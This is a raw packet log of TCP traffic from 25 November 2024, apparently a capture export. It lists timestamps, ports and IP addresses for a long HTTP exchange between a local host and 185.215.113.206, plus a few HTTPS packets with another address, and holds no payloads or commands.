Nov 25, 2024 16:21:40.261893988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.261948109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.262021065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.262059927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.262959957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.263020039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.263055086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.263103008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.264043093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.264111996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.264123917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.264159918 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.265093088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.265137911 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.265216112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.265284061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.265923977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.265974045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.266032934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.266072035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.266846895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.266889095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.266951084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.267162085 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.267838001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.267982006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.268030882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.268832922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.268887997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.268942118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.269093990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.269804001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.269851923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.269912958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.269982100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.270967007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.271011114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.271097898 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.271136045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.272097111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.272207975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.272237062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.272351980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.272753000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.272891998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.272917986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.272960901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.273727894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.273783922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.273840904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.274108887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.274708986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.274828911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.274904966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.275747061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.275834084 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.275857925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.275955915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.276679993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.276832104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.276838064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.276983023 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.277704000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.277801991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.277816057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.278067112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.278702021 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.278764009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.278791904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.278877020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.279655933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.279762983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.279805899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.280636072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.280683994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.280761957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.280801058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.281629086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.281677008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.281730890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.281769991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.282653093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.282696962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.282768965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.282877922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.283596039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.283651114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.283663988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.283705950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.284598112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.284651995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.284677029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.284715891 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.285546064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.285649061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.285665035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.285789967 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.286530972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.286575079 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.286686897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.286725998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.287540913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.287599087 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.287637949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.287672997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.288501978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.288558960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.288620949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.288681984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.289619923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.289700031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.289716959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.289756060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.290502071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.290555000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.290559053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.290641069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.291459084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.291516066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.291520119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.291757107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.292557001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.292607069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.292668104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.292706966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.293426037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.293477058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.293504000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.293546915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.294414043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.294460058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.294529915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.294573069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.295403957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.295456886 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.295525074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.295564890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.296401978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.296454906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.296519041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.296559095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.297374010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.297477007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.297483921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.297573090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.298507929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.298609972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.298671961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.298782110 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.299406052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.299496889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.299576998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.300343990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.300395012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.300483942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.300519943 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.301498890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.301512003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.301558971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.302382946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.302570105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.302618980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.303292990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.303339958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.303395987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.303436995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.304261923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.304354906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.304385900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.304563046 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.305331945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.305378914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.305381060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.305429935 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.306265116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.306314945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.306372881 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.306463003 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.307300091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.307442904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.307470083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.307495117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.308367968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.308379889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.308418036 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.309176922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.309231043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.426817894 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.426841021 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.426856995 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.426929951 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:40.426951885 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.427004099 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:40.449821949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.449837923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.449896097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.450196028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.450237989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.450283051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.451108932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.451167107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.451268911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.451432943 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.452083111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.452143908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.452212095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.452263117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.453083038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.453133106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.453181982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.453224897 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.454117060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.454166889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.454190016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.454226017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.455059052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.455127001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.455168009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.455341101 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.456125975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.456178904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.456286907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.456338882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.457150936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.457202911 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.457297087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.457340956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.458048105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.458097935 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.458183050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.458225965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.458997011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.459048986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.459080935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.459266901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.460046053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.460063934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.460104942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.460130930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.460947037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.461059093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.461111069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.461963892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.462055922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.462275982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.462323904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.462997913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.463037968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.463053942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.463089943 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.463900089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.463963985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.464121103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.464159012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.464946985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.465032101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.465086937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.465866089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.465930939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.466265917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.466309071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.466933966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.467009068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.467027903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.467075109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.467889071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.467942953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.467987061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.468029022 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.469073057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.469085932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.469130993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.469861031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.470115900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.470174074 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.470813990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.470870018 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.470926046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.470968008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.472307920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.472321033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.472367048 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.472906113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.472965956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.473015070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.473764896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.473897934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.474201918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.474248886 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.475083113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.475133896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.475156069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.475336075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.475852966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.475866079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.475908041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.476819038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.476831913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.476874113 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.476886034 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.477693081 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.477837086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.477884054 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.478727102 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.478782892 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.478809118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.478866100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.479878902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.479948044 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.479989052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.480027914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.481035948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.481093884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.481164932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.481208086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.482059956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.482109070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.482134104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.482376099 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.482960939 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.482975006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.483014107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.483033895 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.483630896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.483712912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.483760118 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.484714031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.484726906 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.484761000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.484771967 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.485635042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.485694885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.485784054 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.486557961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.486613989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.486829042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.486871958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.487616062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.487677097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.487709999 CET	80	49765	185.215.113.206	192.168.2.5
